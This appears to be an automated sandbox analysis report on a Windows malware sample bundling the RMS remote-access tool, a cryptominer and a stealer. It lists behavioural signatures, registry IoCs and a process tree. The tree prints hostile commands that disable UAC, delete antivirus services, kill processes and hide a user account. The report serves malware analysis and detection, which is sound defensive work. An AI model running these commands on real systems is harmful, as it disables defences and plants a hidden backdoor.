rms | 64946c1fdaad0f24ae883ad9a283af95fd6e9ebd8c3dd0be0819991718f8843b

Analysis

max time kernel
4294207s
max time network
155s
platform
windows7_x64
resource
win7-20220310-en
submitted
26-03-2022 03:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

64946c1fdaad0f24ae883ad9a283af95fd6e9ebd8c3dd0be0819991718f8843b.exe
Size

10.5MB
MD5

09da7a0456617a66512a87036aafbb8c
SHA1

419bed34eb0b596b593754d49adc54182c684602
SHA256

64946c1fdaad0f24ae883ad9a283af95fd6e9ebd8c3dd0be0819991718f8843b
SHA512

2fd8a9e3b7aed71a6570a438d139aeb58ff1367a58cff8e9d62c8f7f51d91545baf02e8ca058346f18a22f83b5fa1c229e8f809d020386a767dcd7935b3e962e

Score

10^/10

rms discovery evasion miner persistence rat spyware stealer trojan upx

Malware Config

Signatures

Modifies firewall policy service 2 TTPs 8 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	regedit.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\PublicProfile	regedit.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\PublicProfile\EnableFirewall = "0"	regedit.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	regedit.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	regedit.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\PublicProfile	regedit.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\PublicProfile\EnableFirewall = "0"	regedit.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	regedit.exe

RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms
UAC bypass 3 TTPs
evasion trojan

Bypass User Account Control
T1088

Disabling Security Tools
T1089

Modify Registry
T1112
Detected Stratum cryptominer command
Looks to be attempting to contact Stratum mining pool.
miner
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	cmd.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	reg.exe

Executes dropped EXE 29 IoCs

pid	Process
1868	TStart.exe
1472	Cheat.exe
1264	D1.exe
1736	HClean.exe
908	Temp.exe
1680	R.exe
476	R8.exe
528	MOS.exe
1296	P.exe
1516	conhost.exe
1504	D64.exe
1532	D32.exe
1500	P.exe
1440	M.exe
1692	Cheat64.exe
864	Rar.exe
1544	1.exe
1312	ShellExperienceHost.exe
1936	MicrosoftShellHost.exe
2528	Rar.exe
2388	RDPWInst.exe
2508	svnhost.exe
1076	svnhost.exe
2572	svnhost.exe
2536	svnhost.exe
2084	svcservice.exe
2604	svcservice.exe
2224	RDPWInst.exe
2636	svcservice.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112
Sets file to hidden 1 TTPs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1158
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0007000000013451-121.dat	upx
behavioral1/files/0x0007000000013695-135.dat	upx
behavioral1/files/0x0007000000013695-137.dat	upx
behavioral1/files/0x0007000000013451-132.dat	upx

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	MicrosoftShellHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	MicrosoftShellHost.exe

Cryptocurrency Miner
Makes network request to known mining pool URL.
miner

Deletes itself 1 IoCs

pid	Process
340	cmd.exe

Loads dropped DLL 55 IoCs

pid	Process
744	64946c1fdaad0f24ae883ad9a283af95fd6e9ebd8c3dd0be0819991718f8843b.exe
744	64946c1fdaad0f24ae883ad9a283af95fd6e9ebd8c3dd0be0819991718f8843b.exe
744	64946c1fdaad0f24ae883ad9a283af95fd6e9ebd8c3dd0be0819991718f8843b.exe
744	64946c1fdaad0f24ae883ad9a283af95fd6e9ebd8c3dd0be0819991718f8843b.exe
1720	cmd.exe
1472	Cheat.exe
1472	Cheat.exe
1472	Cheat.exe
1472	Cheat.exe
1472	Cheat.exe
1472	Cheat.exe
1472	Cheat.exe
1472	Cheat.exe
1472	Cheat.exe
1472	Cheat.exe
1472	Cheat.exe
1472	Cheat.exe
1472	Cheat.exe
1472	Cheat.exe
1264	D1.exe
1472	Cheat.exe
1472	Cheat.exe
1472	Cheat.exe
1472	Cheat.exe
1472	Cheat.exe
1472	Cheat.exe
1472	Cheat.exe
1472	Cheat.exe
1264	D1.exe
1472	Cheat.exe
1472	Cheat.exe
1472	Cheat.exe
1472	Cheat.exe
1264	D1.exe
1296	P.exe
528	MOS.exe
528	MOS.exe
528	MOS.exe
1296	P.exe
1296	P.exe
1788	cmd.exe
960	cmd.exe
1612	cmd.exe
1788	cmd.exe
1692	Cheat64.exe
1692	Cheat64.exe
1684	cmd.exe
1628	cmd.exe
2272	cmd.exe
604	cmd.exe
604	cmd.exe
604	cmd.exe
2536	svnhost.exe
2780	Process not Found
2272	cmd.exe

Modifies file permissions 1 TTPs 52 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1096	icacls.exe
2460	icacls.exe
2744	icacls.exe
2684	icacls.exe
2120	icacls.exe
2204	icacls.exe
2032	icacls.exe
2496	icacls.exe
2360	icacls.exe
2396	icacls.exe
2468	icacls.exe
2536	icacls.exe
2808	icacls.exe
1660	icacls.exe
1116	icacls.exe
2904	icacls.exe
2396	icacls.exe
824	icacls.exe
2432	icacls.exe
2768	icacls.exe
2940	icacls.exe
2400	icacls.exe
2484	icacls.exe
3016	icacls.exe
1984	icacls.exe
2364	icacls.exe
2740	icacls.exe
2896	icacls.exe
3048	icacls.exe
2344	icacls.exe
2112	icacls.exe
2720	icacls.exe
2896	icacls.exe
1668	icacls.exe
2848	icacls.exe
1644	icacls.exe
2128	icacls.exe
2804	icacls.exe
2324	icacls.exe
2440	icacls.exe
2520	icacls.exe
2988	icacls.exe
2380	icacls.exe
2444	icacls.exe
1600	icacls.exe
2692	icacls.exe
2224	icacls.exe
2676	icacls.exe
960	icacls.exe
300	icacls.exe
2068	icacls.exe
2440	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2932610838-281738825-1127631353-1000\Software\Microsoft\Windows\CurrentVersion\Run\ShellExperienceHost = "C:\\ProgramData\\System32\\Logs\\ShellExperienceHost.exe"	ShellExperienceHost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Modifies WinLogon 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "1"	RDPWInst.exe

AutoIT Executable 12 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x0009000000012301-56.dat	autoit_exe
behavioral1/files/0x0009000000012301-57.dat	autoit_exe
behavioral1/files/0x0009000000012301-59.dat	autoit_exe
behavioral1/files/0x0009000000012301-58.dat	autoit_exe
behavioral1/files/0x0009000000012301-62.dat	autoit_exe
behavioral1/files/0x0009000000012301-65.dat	autoit_exe
behavioral1/files/0x000900000001231a-124.dat	autoit_exe
behavioral1/files/0x000900000001231a-131.dat	autoit_exe
behavioral1/files/0x000900000001231a-129.dat	autoit_exe
behavioral1/files/0x000900000001231a-128.dat	autoit_exe
behavioral1/files/0x000900000001231a-127.dat	autoit_exe
behavioral1/files/0x000900000001231a-139.dat	autoit_exe

Drops file in Program Files directory 5 IoCs

description	ioc	Process
File created	C:\Program Files\RDP Wrapper\rdpwrap.ini	RDPWInst.exe
File created	C:\Program Files\RDP Wrapper\rdpwrap.dll	RDPWInst.exe
File opened for modification	C:\Program Files\RDP Wrapper\rdpwrap.dll	attrib.exe
File opened for modification	C:\Program Files\RDP Wrapper\rdpwrap.ini	attrib.exe
File opened for modification	C:\Program Files\RDP Wrapper	attrib.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\8q26879bv3rtw2487bvfwr_wer23.txt	wscript.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

NSIS installer 12 IoCs

installer

resource	yara_rule
behavioral1/files/0x0008000000012336-73.dat	nsis_installer_1
behavioral1/files/0x0008000000012336-73.dat	nsis_installer_2
behavioral1/files/0x0008000000012336-76.dat	nsis_installer_1
behavioral1/files/0x0008000000012336-76.dat	nsis_installer_2
behavioral1/files/0x0008000000012336-75.dat	nsis_installer_1
behavioral1/files/0x0008000000012336-75.dat	nsis_installer_2
behavioral1/files/0x0008000000012336-74.dat	nsis_installer_1
behavioral1/files/0x0008000000012336-74.dat	nsis_installer_2
behavioral1/files/0x0008000000012336-78.dat	nsis_installer_1
behavioral1/files/0x0008000000012336-78.dat	nsis_installer_2
behavioral1/files/0x0008000000012336-98.dat	nsis_installer_1
behavioral1/files/0x0008000000012336-98.dat	nsis_installer_2

Delays execution with timeout.exe 17 IoCs

evasion

pid	Process
1072	timeout.exe
1552	timeout.exe
2204	timeout.exe
2668	timeout.exe
2124	timeout.exe
2168	timeout.exe
924	timeout.exe
2040	timeout.exe
2164	timeout.exe
2624	timeout.exe
2828	timeout.exe
1084	timeout.exe
2192	timeout.exe
1592	timeout.exe
2288	timeout.exe
2736	timeout.exe
1728	timeout.exe

Kills process with taskkill 64 IoCs

evasion

pid	Process
684	taskkill.exe
2156	taskkill.exe
1972	taskkill.exe
2152	taskkill.exe
2600	taskkill.exe
2452	taskkill.exe
2256	taskkill.exe
2540	taskkill.exe
2404	taskkill.exe
2888	taskkill.exe
2360	taskkill.exe
1208	taskkill.exe
2572	taskkill.exe
1316	taskkill.exe
2168	taskkill.exe
2972	taskkill.exe
2640	taskkill.exe
2984	taskkill.exe
2224	taskkill.exe
2908	taskkill.exe
436	taskkill.exe
2912	taskkill.exe
1848	taskkill.exe
1780	taskkill.exe
2852	taskkill.exe
2700	taskkill.exe
2948	taskkill.exe
1864	taskkill.exe
2144	taskkill.exe
2476	taskkill.exe
1072	taskkill.exe
2564	taskkill.exe
2344	taskkill.exe
2436	taskkill.exe
2456	taskkill.exe
2980	taskkill.exe
1344	taskkill.exe
568	taskkill.exe
2520	taskkill.exe
344	taskkill.exe
2656	taskkill.exe
2084	taskkill.exe
2584	taskkill.exe
2636	taskkill.exe
2824	taskkill.exe
2144	taskkill.exe
2900	taskkill.exe
2320	taskkill.exe
2464	taskkill.exe
2320	taskkill.exe
1096	taskkill.exe
2916	taskkill.exe
1984	taskkill.exe
2296	taskkill.exe
3012	taskkill.exe
3020	taskkill.exe
2436	taskkill.exe
2828	taskkill.exe
2480	taskkill.exe
3052	taskkill.exe
2616	taskkill.exe
1780	taskkill.exe
1788	taskkill.exe
2596	taskkill.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
2424	reg.exe
2432	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	RDPWInst.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	RDPWInst.exe

Runs .reg file with regedit 2 IoCs

pid	Process
2556	regedit.exe
2500	regedit.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1544	1.exe
1544	1.exe
1544	1.exe
1544	1.exe
1544	1.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe
1312	ShellExperienceHost.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
468	Process not Found
300	Process not Found
2780	Process not Found
2780	Process not Found
2780	Process not Found
2780	Process not Found

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
2636	svcservice.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1984	taskkill.exe
Token: SeDebugPrivilege	1072	taskkill.exe
Token: SeDebugPrivilege	1780	taskkill.exe
Token: SeLockMemoryPrivilege	1936	MicrosoftShellHost.exe
Token: SeDebugPrivilege	2084	taskkill.exe
Token: SeLockMemoryPrivilege	1936	MicrosoftShellHost.exe
Token: SeDebugPrivilege	2256	taskkill.exe
Token: SeDebugPrivilege	2320	taskkill.exe
Token: SeDebugPrivilege	2452	taskkill.exe
Token: SeDebugPrivilege	2480	taskkill.exe
Token: SeDebugPrivilege	2520	icacls.exe
Token: SeDebugPrivilege	2564	taskkill.exe
Token: SeDebugPrivilege	2584	taskkill.exe
Token: SeDebugPrivilege	2640	taskkill.exe
Token: SeDebugPrivilege	2852	taskkill.exe
Token: SeDebugPrivilege	2984	taskkill.exe
Token: SeDebugPrivilege	2224	taskkill.exe
Token: SeDebugPrivilege	2344	taskkill.exe
Token: SeDebugPrivilege	2436	net1.exe
Token: SeDebugPrivilege	2456	taskkill.exe
Token: SeDebugPrivilege	2540	taskkill.exe
Token: SeDebugPrivilege	2596	taskkill.exe
Token: SeDebugPrivilege	2636	taskkill.exe
Token: SeDebugPrivilege	2700	taskkill.exe
Token: SeDebugPrivilege	2732	taskkill.exe
Token: SeDebugPrivilege	2824	taskkill.exe
Token: SeDebugPrivilege	2908	taskkill.exe
Token: SeDebugPrivilege	2972	taskkill.exe
Token: SeDebugPrivilege	3052	taskkill.exe
Token: SeDebugPrivilege	3044	taskkill.exe
Token: SeDebugPrivilege	436	taskkill.exe
Token: SeDebugPrivilege	2144	taskkill.exe
Token: SeDebugPrivilege	2296	taskkill.exe
Token: SeDebugPrivilege	2360	taskkill.exe
Token: SeDebugPrivilege	2404	taskkill.exe
Token: SeDebugPrivilege	2508	svnhost.exe
Token: SeDebugPrivilege	2572	svnhost.exe
Token: SeTakeOwnershipPrivilege	2536	svnhost.exe
Token: SeTcbPrivilege	2536	svnhost.exe
Token: SeTcbPrivilege	2536	svnhost.exe
Token: SeDebugPrivilege	2388	RDPWInst.exe
Token: SeDebugPrivilege	2980	taskkill.exe
Token: SeDebugPrivilege	3012	taskkill.exe
Token: SeDebugPrivilege	3020	taskkill.exe
Token: SeDebugPrivilege	1208	taskkill.exe
Token: SeDebugPrivilege	684	taskkill.exe
Token: SeDebugPrivilege	1096	taskkill.exe
Token: SeDebugPrivilege	2156	taskkill.exe
Token: SeDebugPrivilege	2436	taskkill.exe
Token: SeDebugPrivilege	2464	taskkill.exe
Token: SeDebugPrivilege	1972	taskkill.exe
Token: SeDebugPrivilege	2616	taskkill.exe
Token: SeDebugPrivilege	2572	taskkill.exe
Token: SeDebugPrivilege	344	taskkill.exe
Token: SeDebugPrivilege	1316	taskkill.exe
Token: SeDebugPrivilege	1940	taskkill.exe
Token: SeDebugPrivilege	2656	taskkill.exe
Token: SeDebugPrivilege	1344	taskkill.exe
Token: SeDebugPrivilege	2948	taskkill.exe
Token: SeDebugPrivilege	2888	taskkill.exe
Token: SeDebugPrivilege	2900	taskkill.exe
Token: SeDebugPrivilege	1780	taskkill.exe
Token: SeDebugPrivilege	2912	taskkill.exe
Token: SeDebugPrivilege	2916	taskkill.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2508	svnhost.exe
1076	svnhost.exe
2572	svnhost.exe
2536	svnhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 744 wrote to memory of 1776	744	64946c1fdaad0f24ae883ad9a283af95fd6e9ebd8c3dd0be0819991718f8843b.exe	27
PID 744 wrote to memory of 1776	744	64946c1fdaad0f24ae883ad9a283af95fd6e9ebd8c3dd0be0819991718f8843b.exe	27
PID 744 wrote to memory of 1776	744	64946c1fdaad0f24ae883ad9a283af95fd6e9ebd8c3dd0be0819991718f8843b.exe	27
PID 744 wrote to memory of 1776	744	64946c1fdaad0f24ae883ad9a283af95fd6e9ebd8c3dd0be0819991718f8843b.exe	27
PID 744 wrote to memory of 1868	744	64946c1fdaad0f24ae883ad9a283af95fd6e9ebd8c3dd0be0819991718f8843b.exe	28
PID 744 wrote to memory of 1868	744	64946c1fdaad0f24ae883ad9a283af95fd6e9ebd8c3dd0be0819991718f8843b.exe	28
PID 744 wrote to memory of 1868	744	64946c1fdaad0f24ae883ad9a283af95fd6e9ebd8c3dd0be0819991718f8843b.exe	28
PID 744 wrote to memory of 1868	744	64946c1fdaad0f24ae883ad9a283af95fd6e9ebd8c3dd0be0819991718f8843b.exe	28
PID 1776 wrote to memory of 1720	1776	WScript.exe	29
PID 1776 wrote to memory of 1720	1776	WScript.exe	29
PID 1776 wrote to memory of 1720	1776	WScript.exe	29
PID 1776 wrote to memory of 1720	1776	WScript.exe	29
PID 1720 wrote to memory of 1472	1720	cmd.exe	31
PID 1720 wrote to memory of 1472	1720	cmd.exe	31
PID 1720 wrote to memory of 1472	1720	cmd.exe	31
PID 1720 wrote to memory of 1472	1720	cmd.exe	31
PID 1472 wrote to memory of 1264	1472	Cheat.exe	32
PID 1472 wrote to memory of 1264	1472	Cheat.exe	32
PID 1472 wrote to memory of 1264	1472	Cheat.exe	32
PID 1472 wrote to memory of 1264	1472	Cheat.exe	32
PID 1472 wrote to memory of 1736	1472	Cheat.exe	33
PID 1472 wrote to memory of 1736	1472	Cheat.exe	33
PID 1472 wrote to memory of 1736	1472	Cheat.exe	33
PID 1472 wrote to memory of 1736	1472	Cheat.exe	33
PID 1472 wrote to memory of 908	1472	Cheat.exe	34
PID 1472 wrote to memory of 908	1472	Cheat.exe	34
PID 1472 wrote to memory of 908	1472	Cheat.exe	34
PID 1472 wrote to memory of 908	1472	Cheat.exe	34
PID 1472 wrote to memory of 1680	1472	Cheat.exe	35
PID 1472 wrote to memory of 1680	1472	Cheat.exe	35
PID 1472 wrote to memory of 1680	1472	Cheat.exe	35
PID 1472 wrote to memory of 1680	1472	Cheat.exe	35
PID 1472 wrote to memory of 1680	1472	Cheat.exe	35
PID 1472 wrote to memory of 1680	1472	Cheat.exe	35
PID 1472 wrote to memory of 1680	1472	Cheat.exe	35
PID 1472 wrote to memory of 476	1472	Cheat.exe	36
PID 1472 wrote to memory of 476	1472	Cheat.exe	36
PID 1472 wrote to memory of 476	1472	Cheat.exe	36
PID 1472 wrote to memory of 476	1472	Cheat.exe	36
PID 1472 wrote to memory of 476	1472	Cheat.exe	36
PID 1472 wrote to memory of 476	1472	Cheat.exe	36
PID 1472 wrote to memory of 476	1472	Cheat.exe	36
PID 1472 wrote to memory of 528	1472	Cheat.exe	37
PID 1472 wrote to memory of 528	1472	Cheat.exe	37
PID 1472 wrote to memory of 528	1472	Cheat.exe	37
PID 1472 wrote to memory of 528	1472	Cheat.exe	37
PID 1472 wrote to memory of 528	1472	Cheat.exe	37
PID 1472 wrote to memory of 528	1472	Cheat.exe	37
PID 1472 wrote to memory of 528	1472	Cheat.exe	37
PID 1472 wrote to memory of 1296	1472	Cheat.exe	38
PID 1472 wrote to memory of 1296	1472	Cheat.exe	38
PID 1472 wrote to memory of 1296	1472	Cheat.exe	38
PID 1472 wrote to memory of 1296	1472	Cheat.exe	38
PID 1472 wrote to memory of 1296	1472	Cheat.exe	38
PID 1472 wrote to memory of 1296	1472	Cheat.exe	38
PID 1472 wrote to memory of 1296	1472	Cheat.exe	38
PID 1264 wrote to memory of 1504	1264	D1.exe	39
PID 1264 wrote to memory of 1504	1264	D1.exe	39
PID 1264 wrote to memory of 1504	1264	D1.exe	39
PID 1264 wrote to memory of 1504	1264	D1.exe	39
PID 1472 wrote to memory of 1516	1472	Cheat.exe	52
PID 1472 wrote to memory of 1516	1472	Cheat.exe	52
PID 1472 wrote to memory of 1516	1472	Cheat.exe	52
PID 1472 wrote to memory of 1516	1472	Cheat.exe	52

Views/modifies file attributes 1 TTPs 6 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
1620	attrib.exe
852	attrib.exe
1204	attrib.exe
3056	attrib.exe
2452	attrib.exe
1544	attrib.exe

C:\Users\Admin\AppData\Local\Temp\64946c1fdaad0f24ae883ad9a283af95fd6e9ebd8c3dd0be0819991718f8843b.exe
"C:\Users\Admin\AppData\Local\Temp\64946c1fdaad0f24ae883ad9a283af95fd6e9ebd8c3dd0be0819991718f8843b.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:744
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\programdata\microsoft\intel\1.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1776
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\ProgramData\microsoft\intel\st.bat" "
    3⤵
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1720
  - - \??\c:\programdata\microsoft\intel\Cheat.exe
      Cheat.exe -p123 -dc:\Programdata\microsoft\intel\
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1472
    - - C:\Programdata\microsoft\intel\D1.exe
        
        "C:\Programdata\microsoft\intel\D1.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1264
      - C:\Users\Admin\AppData\Roaming\1337\D64.exe
        
        "C:\Users\Admin\AppData\Roaming\1337\D64.exe"
        6⤵
        Executes dropped EXE
        
        PID:1504
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8382.tmp\8383.bat C:\Users\Admin\AppData\Roaming\1337\D64.exe"
        7⤵
        
        PID:1588
        
        C:\Windows\system32\sc.exe
        
        sc delete swprv
        8⤵
        
        PID:1984
        
        C:\Windows\system32\net.exe
        
        net stop MinerGate
        8⤵
        
        PID:1644
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop MinerGate
        9⤵
        
        PID:1372
        
        C:\Windows\system32\timeout.exe
        
        timeout 1 /nobreak
        8⤵
        Delays execution with timeout.exe
        
        PID:1072
        
        C:\Windows\system32\taskkill.exe
        
        TASKKILL /IM MBAMService.exe /T /F
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1984
        
        C:\Windows\system32\sc.exe
        
        sc delete MinerGate
        8⤵
        
        PID:1360
        
        C:\Windows\system32\net.exe
        
        net stop MBAMService
        8⤵
        
        PID:2100
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop MBAMService
        9⤵
        
        PID:2128
        
        C:\Windows\system32\timeout.exe
        
        timeout 1 /nobreak
        8⤵
        Delays execution with timeout.exe
        
        PID:2204
        
        C:\Windows\system32\sc.exe
        
        sc delete MBAMService
        8⤵
        
        PID:2296
        
        C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v John /t REG_DWORD /d 0 /f
        8⤵
        
        PID:2344
        
        C:\Windows\system32\reg.exe
        
        reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\PushNotifications" /v ToastEnabled /t REG_DWORD /d 0 /f
        8⤵
        
        PID:2372
        
        C:\Windows\system32\reg.exe
        
        reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Explorer" /v DisableNotificationCenter /t REG_DWORD /d 1 /f
        8⤵
        
        PID:2400
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe /k C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        8⤵
        
        PID:2416
        
